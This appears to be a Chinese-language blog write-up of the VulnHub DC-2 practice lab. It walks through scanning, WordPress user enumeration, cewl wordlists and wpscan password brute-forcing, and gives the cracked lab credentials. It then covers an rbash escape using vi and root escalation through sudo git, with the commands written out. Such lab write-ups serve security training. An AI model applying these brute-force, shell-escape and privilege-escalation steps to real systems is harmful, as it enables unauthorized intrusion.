当前位置: 首页 > article >正文

Vulnhub打靶-DC-2

基本信息

靶机下载:https://download.vulnhub.com/dc/DC-2.zip

攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)

靶机:192.168.20.0/24

目标:获取5个flag+root权限

具体流程

信息收集

老样子首先使用arp-scan -l对主机进行探活,发现主机IP为192.168.20.153

image-20241025205134720

之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.153,结果如下所示

image-20241025205510857

开放了80端口和7744端口,其中7744端口对应的是ssh服务,我们首先访问80端口http服务

我们成功发现第一个flag

image-20241025210410298

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

这条提示信息告诉我们常用的密码字典可能不起作用,可能需要我们用cewl自动生成字典,同时我们要尝试登录进去,首先我们需要找到登录框在哪,我们先用dirsearch扫一下后门目录

image-20241025211457242

我们发现是wordpress框架,我们尝试访问后台登录网站,发现存在,我们尝试用wpscan进行网站探针

image-20241025212734247

我们发现了三个存在的用户,即adminjerrytom,我们按照第一个flag的提示用cewl去生成一个我们的密码字典,如下所示

image-20241025213029840

最后我们用wpscan进行爆破即可

wpscan --url http://dc-2 -U user.txt -P custom.txt 

image-20241025213415121

成功找到tom和jerry的密码

tom/parturient
jerry/adipiscing

我们尝试登录后台,成功发现第二个flag

image-20241025213709896

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

它提示我们这里有另外的方式去登录系统,那我们肯定就考虑ssh登录了,毕竟开放了ssh登录,我们尝试ssh登录

ssh登录

ssh tom@192.168.20.153 -p 7744

成功登录进服务器中

image-20241026130226232

并且我们在当前目录下发现了flag3.txt,但是我试了很多读取命令,系统中都不存在

image-20241026130637820

我们只能使用命令查询系统中允许使用的命令是哪些,输入以下命令可以成功查询

compgen -c

586f023567d57b7b511b902eb8797e39

我们发现存在vi命令,我们直接利用vi命令读取flag3即可

image-20241026131047471

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

这明显就是提示我们要尝试切换到jerry用户,jerry用户的权限可能略高于tom用户

image-20241026131648434

但是我们尝试了很多次,发现大部分命令都给禁用了,所以我们要想办法绕过这个rbash的限制,网上有很多rbash逃逸的文章,可以去看看,我们这里使用vi进行rbash逃逸

# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell

# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

image-20241026133035855

逃逸后我们发现我们可以成功执行cat命令,接下来我们试着切换到jerry用户,密码还是使用刚刚的密码进行尝试

权限提升

image-20241026134039966

我们发现成功登录到jerry账户,我们寻找一下进一步提示,找一找flag4

image-20241026134254527

Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

我们尝试进行suid提权,输入find / -perm -u=s -type f 2>/dev/null,发现并没有可以利用的点,我们进而查看sudo提权,输入sudo -l,发现可以利用git进行sudo提权

image-20241026134522770

输入以下命令,可以成功提权

TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x

image-20241026134750599

我们进一步获取交互式shell,如下所示

python -c 'import pty;pty.spawn("/bin/bash")'

image-20241026134931202

成功获取最终flag,本题到此结束

总结

本题难度也不是很大,主要的点有利用cewl生成自定义字典,利用wpscan进行wordpress探测,以及rbash的逃逸,最值得注意的就是 rbash的逃逸,这是我第一次遇见这种问题,可以稍微多注意一点,rbash就是用一个假的bash替换了原来的真bash,进而对能使用的命令进行限制,我们可以通过其开放的命令进行逃逸,例如vimmorelessftp等等


http://www.kler.cn/news/366886.html

相关文章:

  • 深入理解Python异常处理机制
  • Android开发兼容性问题3万字保姆级教程(Android版本、屏幕、多语言、硬件、第三方库、权限)
  • 【自然语言处理】BERT模型
  • 深度学习技术演进:从 CNN、RNN 到 Transformer 的发展与原理解析
  • 【HarmonyOS Next】原生沉浸式界面
  • ipguard与Ping32如何加密数据防止泄露?让企业信息更安全
  • python批量漏洞检测工具编写
  • KUKA机器人选定程序时提示“选择非法”的处理方法
  • JSON语法学习分析
  • 【每日一题】LeetCode - 盛最多水的容器
  • PHP模拟多继承的方式:traits
  • 安全见闻(6)
  • GitHub上传更新到他人仓库
  • CentOS7编译安装Python3.12记录
  • YOLO11 图像缩放 | 图像填充 | 自适应不同尺寸的图片
  • Llama3微调后合并:推动自然语言处理的新进展
  • K8s中TSL证书如何续期
  • 八:Python学习笔记--基础知识(7)流程控制
  • 宠物用品在线交易网站:SpringBoot技术全攻略
  • MongoDB快速入门
  • RestHighLevelClient操作es查询文档
  • C#字符串格式化之String.Format
  • 【分布式知识】分布式对象存储组件-Minio
  • Linux文件描述符详解及其应用
  • 虚拟光驱软件 PowerISO v8.7.0 中文激活版
  • 正大金融市场的跨境投资机遇与挑战分析